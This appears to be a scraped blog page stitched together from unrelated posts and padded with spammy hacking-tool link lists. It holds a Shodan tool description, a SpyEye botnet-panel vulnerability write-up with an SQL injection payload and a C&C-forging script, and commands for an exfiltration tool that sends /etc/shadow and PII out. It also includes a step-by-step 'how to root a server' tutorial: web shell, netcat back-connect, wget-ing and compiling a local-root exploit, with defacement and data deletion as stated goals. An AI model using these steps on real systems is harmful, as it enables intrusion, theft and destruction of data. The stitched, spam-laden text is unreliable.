Nombre total de pages vues

lundi 13 avril 2020

ShodanEye: Collect Infomation About All Devices Connected To The Internet With Shodan


About ShodanEye
   This tool collects all information about all devices that are directly connected to the internet with the specified keywords that you enter. This way you get a complete overview.

   Here you can read the latest article about Shodan Eye: Shodan Eye Ethical Hacking Tool Release

   The types of devices that are indexed can vary enormously: from small desktops, refrigerators to nuclear power plants and everything in between. You can find everything using "your own" specified keywords. Examples can be found in a file that is attached:

   The information obtained with this tool can be applied in many areas, a small example:
  • Network security, keep an eye on all devices in your company or at home that are confronted with internet.
  • Vulnerabilities. And so much more.
   For additional data gathering, you can enter a Shodan API key when prompted. A Shodan API key can be found here

Shodan Eye Ethical Hacking Tool Release
   Before we start the year 2020, today there is a new big release ..! Please note, if you have already installed Shodan Eye on your computer, then it is worthwhile to read it carefully. Of course, even if you don't know this Shodan tool yet:
  • Shodan Eye goes from Python 2 to Python 3
  • Save the output of the Shodan Eye results
  • The entry of the Shodan password is no longer visible.

About Shodan Search Engine
   Shoan is a search engine that lets the user find specific types of computers (webcams, routers, servers, etc.) connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are metadata that the server sends back to the client.

   What is the difference between Google or another search engine: The most fundamental difference is that Shodan Eye crawls on the internet, Google on the World Wide Web. However, the devices that support the World Wide Web are only a small part of what is actually connected to the Internet.

Before use this tool, you should note that:
  • This was written for educational purpose and pentest only.
  • The author will not be responsible for any damage ..!
  • The author of this tool is not responsible for any misuse of the information.
  • You will not misuse the information to gain unauthorized access.
  • This information shall only be used to expand knowledge and not for causing malicious or damaging attacks.
  • Performing any hacks without written permission is illegal..!

ShodanEye's screenshots:

ShodanEye Installation
   If you're using GNU/Linux, open your terminal and enter these commands:

   If you're a Windows user, follow these steps to install ShodanEye:
  • Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
  • Download shodan-eye-master.zip file.>
  • Then unzip it.
  • Open CMD or PowerShell window at the Osueta folder you have just unzipped and enter these commands:
    pip install shodan
    python shodan-eye.py

Video Shodan Eye on YouTube:

Contact to the author:


More information
  1. What Are Hacking Tools
  2. Pentest Tools Linux
  3. Physical Pentest Tools
  4. Hacking Tools For Mac
  5. Pentest Tools Framework
  6. Nsa Hacker Tools
  7. Top Pentest Tools
  8. Hacking Tools Hardware
  9. Pentest Tools Bluekeep
  10. Pentest Tools For Ubuntu
  11. Hacking Tools Hardware
  12. Termux Hacking Tools 2019
  13. Game Hacking
  14. Hack Tools For Games
  15. How To Make Hacking Tools
  16. Tools For Hacker
  17. Hacker Tools Mac
  18. Pentest Reporting Tools
  19. Hacking Tools For Kali Linux
  20. Pentest Tools Url Fuzzer
  21. Hack Tools 2019
  22. Github Hacking Tools
  23. Game Hacking
  24. Bluetooth Hacking Tools Kali

SQL Injection Attacks And Defense | By Justin Clarke | Pdf Free

Related word


  1. Pentest Tools For Android
  2. Hacking Tools
  3. Growth Hacker Tools
  4. Black Hat Hacker Tools
  5. Hack Tools Github
  6. Hack Tools For Mac
  7. Pentest Tools Bluekeep
  8. Tools Used For Hacking
  9. Install Pentest Tools Ubuntu
  10. Pentest Tools Port Scanner
  11. Hacking Tools For Windows Free Download
  12. Pentest Recon Tools
  13. Top Pentest Tools
  14. Beginner Hacker Tools
  15. Pentest Tools Review
  16. Kik Hack Tools
  17. Hacker Tools Mac

Attacking Financial Malware Botnet Panels - SpyEye

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus. 

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon. 

Google dorks to find SpyEye C&C server panel related stuff:

  • if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
  • if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
  • also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
  • otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it
And this is how the control panel login looks like, nothing sophisticated:


The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:


Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)


  • Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
  • No password policy - admins can set up really weak passwords
  • No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
  • Password autocomplete enabled - boring
  • Missing HttpOnly flag on session cookie - interesting when combining with XSS
  • No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...
        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))
        {
                $outstr = "<br>";
                set_time_limit(0);
                $filename = str_replace(" ","_",$_FILES['file']['name']);
                $ext = substr($filename, strrpos($filename, '.')+1);
                if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";
                if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";

                switch( $uptype )
                {
                case 'body': $ext = 'b'; break;
                case 'config': $ext = 'c'; break;
                case 'exe': $ext = 'e'; break;
                default: $ext = 'e';
                }
                $_SESSION['file_ext'] = $ext;
                if( isset($_POST['bots']) && trim($_POST['bots']) !== '')
              {
                        $bots = explode(' ', trim($_POST['bots']));
                        //writelog("debug.log", trim($_POST['bots']));
                      $filename .= "_".(LastFileId()+1);
                }
                if( FileExist($filename) ) $filename .= LastFileId();
                $tmpName  = $_FILES['file']['tmp_name'];
                $fileSize = $_FILES['file']['size'];
                $fileType = $_FILES['file']['type'];
                ## reading all file for calculating hash
                $fp = fopen($tmpName, 'r');
  • Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!
$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";
  • ClickJacking - really boring stuff

    SQL injection


    SpyEye has a fancy history of SQL injections. See details here, here, here, video here and video here.

    It is important to highlight the fact that most of the vulnerable functions are reachable without any authentication, because these PHP files lack user authentication at the beginning of the files.

    But if a C&C server owner gets pwned through this vuln, it is not a good idea to complain to the developer, because after careful reading of the install guide, one can see:

    "For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application."

    And there are plenty of reasons not to install the formgrabber admin panel on any internet reachable server. But this fact leads to another possible vulnerability. The user for this control panel is allowed to remotely login to the MySQL database, and the install guide has pretty good passwords to be reused. I mean it looks pretty secure, there is no reason not to use that.

    CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';

    Next time you find a SpyEye panel, and you can connect to the MySQL database, it is worth a shot to try this password.

    Unfortunately the default permissions for this user is not enough to write files (select into outfile):

    Access denied for user 'frmcpviewer' (using password: YES)

    I also made a little experiment with this SQL injection vulnerability. I did set up a live SpyEye botnet panel, created the malware install binaries (droppers), and sent the droppers to the AV companies. And after more and more sandboxes connected to my box, someone started to exploit the SQL injection vulnerability on my server!

    63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"

    Although the query did not return any meaningful data to the attacker (only data collected from sandboxes), it raises some legal questions.

    Which company/organization has the right to attack my server? 
    • police (having a warrant)
    • military (if we are at war)
    • spy agencies (always/never, choose your favorite answer)
    • CERT organisations?

    But, does an AV company or security research company has the legal right to attack my server? I don't think so... The most problematic part is when they hack a server (without authorization), and sell the stolen information in the name of "intelligence service". What is it, the wild wild west?

    The SQLi clearly targets the content of the stolen login credentials. If this is not an AV company, but an attacker, how did they got the SpyEye dropper? If this is an AV company, why are they stealing the stolen credentials? Will they notify the internet banking owners about the stolen credentials for free? Or will they do this for money?

    And don't get me wrong, I don't want to protect the criminals, but this is clearly a grey area in the law. From an ethical point of view, I agree with hacking the criminal's servers. As you can see, the whole post is about disclosing vulns in these botnet panels. But from a legal point of view, this is something tricky ... I'm really interested in the opinion of others, so comments are warmly welcome.

    On a side note, I was interested how did the "attackers" found the SpyEye form directory? Easy, they brute-forced it, with a wordlist having ~43.000 entries.

    (Useless) Cross site scripting


    Although parts of the SpyEye panel are vulnerable to XSS, it is unlikely that you will to find these components on the server, as these codes are part of the install process, and the installer fails to run if a valid install is found. And in this case, you also need the DB password to trigger the vuln...



    Session handling


    This is a fun part. The logout button invalidates the session only on the server side, but not on the client side. But if you take into consideration that the login process never regenerates the session cookies (a.k.a session fixation), you can see that no matter how many times the admin logs into the application, the session cookie remains the same (until the admin does not close the browser). So if you find a session cookie which was valid in the past, but is not working at the moment, it is possible that this cookie will be valid in the future ...

    Binary server


    Some parts of the SpyEye server involve running a binary server component on the server, to collect the form data. It would be interesting to fuzz this component (called sec) for vulns.

    Log files revealed


    If the form panel mentioned in the SQLi part is installed on the server, it is worth visiting the <form_dir>/logs/error.log file, you might see the path of the webroot folder, IP addresses of the admins, etc.

    Reading the code


    Sometimes reading the code you can find code snippets, which is hard to understand with a clear mind:

    $content = fread($fp, filesize($tmpName));
    if ( $uptype === 'config' )
        $md5 = GetCRC32($content);
    else $md5 = md5($content);
    ....
    <script>
    if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {
    alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");
    document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>";
    }
    </script>

    Decrypting SpyEye communication

    It turned out that the communication between the malware and C&C server is not very sophisticated (Zeus does a better job at it, because the RC4 key stream is generated from the botnet password).

    function DeCode($content)
    {
    $res = '';
    for($i = 0; $i < strlen($content); $i++)
    {
    $num = ord($content[$i]);
    if( $num != 219) $res .= chr($num^219);
    }
    return $res;
    }
    Fixed XOR key, again, well done ...
    This means that it is easy to create a script, which can communicate with the SpyEye server. For example this can be used to fill in the SpyEye database with crap data.


    import binascii
    import requests
    import httplib, urllib

    def xor_str(a, b):
    i = 0
    xorred = ''
    for i in range(len(a)):
    xorred += chr(ord(a[i])^b)
    return xorred

    b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+"
    payload =xor_str (binascii.a2b_base64(b64_data), 219)
    print ("the decrypted payload is: " + payload)
    params = (binascii.b2a_base64(xor_str(payload,219)))
    payload = {'data': params}
    r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)

    Morale of the story?


    Criminals produce the same shitty code as the rest of the world, and thanks to this, some of the malware operators get caught and are behind bars now. And the law is behind the reality, as always.

    Related news


    1. Hacking Tools 2020
    2. Hack Website Online Tool
    3. Pentest Tools Bluekeep
    4. Hack Tools For Mac
    5. Pentest Tools For Mac
    6. New Hack Tools
    7. Hacking Tools 2019
    8. Hack Tools For Pc
    9. Pentest Tools
    10. Pentest Recon Tools
    11. Blackhat Hacker Tools
    12. Pentest Automation Tools
    13. Hacker Tools Mac
    14. Hack Tools
    15. What Is Hacking Tools
    16. What Is Hacking Tools
    17. Pentest Tools Nmap

    Lollipopz - Data Exfiltration Utility For Testing Detection Capabilities


    Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.

    Exfiltration How-To

    /etc/shadow -> HTTP GET requests

    Server
    # ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETServer -lp 80 -o output.log

    Client
    $ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

    /etc/shadow -> HTTP POST requests

    Server
    # ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTServer -lp 80 -o output.log

    Client
    $ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

    PII -> PNG embedded in HTTP Response

    Server
    $ ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Server -lp 37650 -o output.log

    Client
    # ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

    PII -> DNS subdomains querying

    Server
    # ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

    Client
    $ ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r




    via KitPloit
    Related news

    1. Hacking Tools Pc
    2. Hacker Tools List
    3. Hacker Tools 2019
    4. Pentest Tools Review
    5. Hacker Tools Online
    6. Tools For Hacker
    7. Hacking Tools Download
    8. Hacking Tools For Kali Linux
    9. Pentest Tools List
    10. Nsa Hack Tools Download
    11. Pentest Tools Alternative
    12. Hacker Tools Linux
    13. Hacker Tools For Windows
    14. Hacking Tools 2019
    15. Beginner Hacker Tools
    16. Hacker Tools For Windows
    17. Hack Tool Apk No Root
    18. Pentest Tools

    HOW TO ROOT A SERVER? – SERVER ROOTING

    Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
    We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

    HOW TO ROOT A SERVER?

    There are 3 ways to get ROOT on the server :
    1 – With local Root.
    2 – With SQL by reading the same important files on it root password.
    3 – With exploit on software (Buffer Overflow).
    In this post, we will explain local Root. I will explain the other ways soon in some other post.
    OK, let's back to work.
    After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
    find local root and run it to get root access.

    HOW TO SEARCH LOCAL ROOT?

    First of all we you need to know what version of Kernel.
    You can know that from your shell, for example, this version is 2.6.18 – 2012
    Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
    Now how to find the local root.
    You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
    1. Local.C: which are not ready.
    2. Local: ready to use.

    HOW TO GET ROOT ACCESS?

    First, you need a shell with a Back Connect option like this :
    Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
    So now you must receive the back connect with a Tool named netcat u can download it from the
    net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
    After that Follow the steps :
    1- Press nc -vlp 433
    2- Wget [the link of the local-Root.zip]
    3 – unzip local-Root.zip

    4 – chmod 777 local.c

    5 – now to change the local-root from local.c > local
    gcc local.c -o local Then you will find local.c transformed to local

    6 – chmod 777 local

    7 – ./local to local rootwork

    8 – su
    then see your id uid=0(root) gid=0(root) groups=0(root)


    Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
    AFTER THE ROOT 
    As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
    More information
    1. Hacker Tools 2019
    2. Hacking Tools Usb
    3. Hack Tools For Pc
    4. Pentest Tools Download
    5. Hack Tools Download
    6. Pentest Tools Linux
    7. Hack Tools
    8. Hacking Tools Mac
    9. Hacker
    10. Android Hack Tools Github
    11. Pentest Tools Review
    12. Hacking Tools Windows 10
    13. Pentest Tools Online
    14. Nsa Hack Tools
    15. Hacker Security Tools
    16. Hacker Tools List
    17. Hacking Tools Windows 10
    18. Hack Tools For Pc
    19. Pentest Tools Tcp Port Scanner
    20. Hacker Techniques Tools And Incident Handling

    samedi 11 avril 2020

    UCLan Games Design Degree Show 2019

    So proud of all our third year Games Design students today on the final submission of their work for BA(Hons) Games Design. There'll be some lovely work and playable games to be enjoyed at the Games Design Degree Show Opening on Thursday 13th June at 6 pm.

    Our final year students are now preparing the Games Design Studio for the Degree Show 2019.
    https://www.uclan.ac.uk/news/degree-shows.php

    We'd love to see everyone there.
    There's a variety of awesome games art and loads of playable games! Just a few examples shown below in the pics. Calling out to our ALUMNI...come and join us celebrating the private view on Thursday 13th June from 6 pm!

























    mercredi 8 avril 2020

    The Cha'alt Challenge


    I laughed quite a few times when listening to the 3T RPG Podcast.

    This episode... they review Cha'alt!  Loved it, and they loved Cha'alt.  I thought it was funny, awesome, and interesting... what are your thought, and what is this challenge?

    See for yourself.  Make up your own mind.  Is Cha'alt the best D&D campaign setting and megadungeon ever made?  Can you play it without falling in love and/or die laughing?  Challenge yourself!

    FYI, I've got about 250 hardcover Cha'alt books left.  If you want yours before these gorgeous, signed, limited edition books are all gone, then send $60 via paypal to Venger.Satanis@yahoo.com

    If you live within the USA, no further postage is necessary.  If you live overseas, that's going to be an extra $25, I'm afraid.

    Enjoy,

    VS

    p.s. If you buy the hardcover, you get the PDF for free!